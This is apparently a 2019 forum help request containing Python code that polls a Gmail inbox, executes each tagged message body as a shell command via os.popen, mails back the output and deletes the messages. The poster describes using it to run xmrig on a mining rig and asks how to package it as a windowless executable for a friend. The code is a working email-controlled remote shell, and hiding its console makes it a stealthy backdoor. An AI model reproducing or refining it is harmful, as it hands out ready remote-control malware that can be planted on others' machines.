Jan-27-2019, 05:15 PM
import imaplib
import email
import os
import box
import smtplib
def obtineID():
f = open("id.txt", "r")
ID = f.read()
return ID
ID = obtineID()
Sender = "[OUTPUT]"+ID
server = smtplib.SMTP( "smtp.gmail.com", 587 )
server.starttls()
server.login( 'email', 'pass' )
trimite = lambda a : server.sendmail( 'email', 'email', a )
while True:
mail = imaplib.IMAP4_SSL('imap.gmail.com')
mail.login('email', 'pass')
mail.list()
mail.select('inbox')
result, data = mail.uid('search', None, "All")
i = len(data[0].split())
allow = False
for x in range(i):
latest_email_uid = data[0].split()[x]
result, email_data = mail.uid('fetch', latest_email_uid, '(RFC822)')
raw_email = email_data[0][1]
raw_email_string = raw_email.decode('utf-8')
email_message = email.message_from_string(raw_email_string)
for part in email_message.walk():
if part.get_content_type() == "text/plain":
body = part.get_payload(decode=True)
messajbody = body.decode('utf-8')
if "[INPUT]"+"["+ID+"]" in messajbody or "[INPUT]"+"[ALL]":
messajbody = messajbody.replace("\n","")
messajbody = messajbody.replace(("[INPUT]"+"["+ID+"]"),"")
messajbody = messajbody.replace("\\","\\\\")
if "online" in messajbody:
trimite("["+ID+"]"+" este online")
continue
p = os.popen(messajbody)
muie = p.read()
muie = muie.encode("utf-8")
allow = True
if allow == True:
box = imaplib.IMAP4_SSL('imap.gmail.com', 993)
box.login("email","pass")
box.select('INBOX')
typ, data = box.search(None, 'ALL')
for num in data[0].split():
box.store(num, '+FLAGS', '\\Deleted')
box.expunge()
allow = FalseHello.I am using the above code for controling my rig in case it shuts down.I just send an email something like [INPUT][P5]%HOMEPATH%\Desktop\xmrig.exe and it works fine.A friend of mine asked me for it and I tried to make it a .exe file using pyinstaller.The problem is if I use --windowed or --noconsole when I send an instruction through email I get a pop up with "Failed to execute script remotescript".However if I dont use --windowed It works perfectly fine. Also I am using --onefile.Can anyone explain why is this happening?
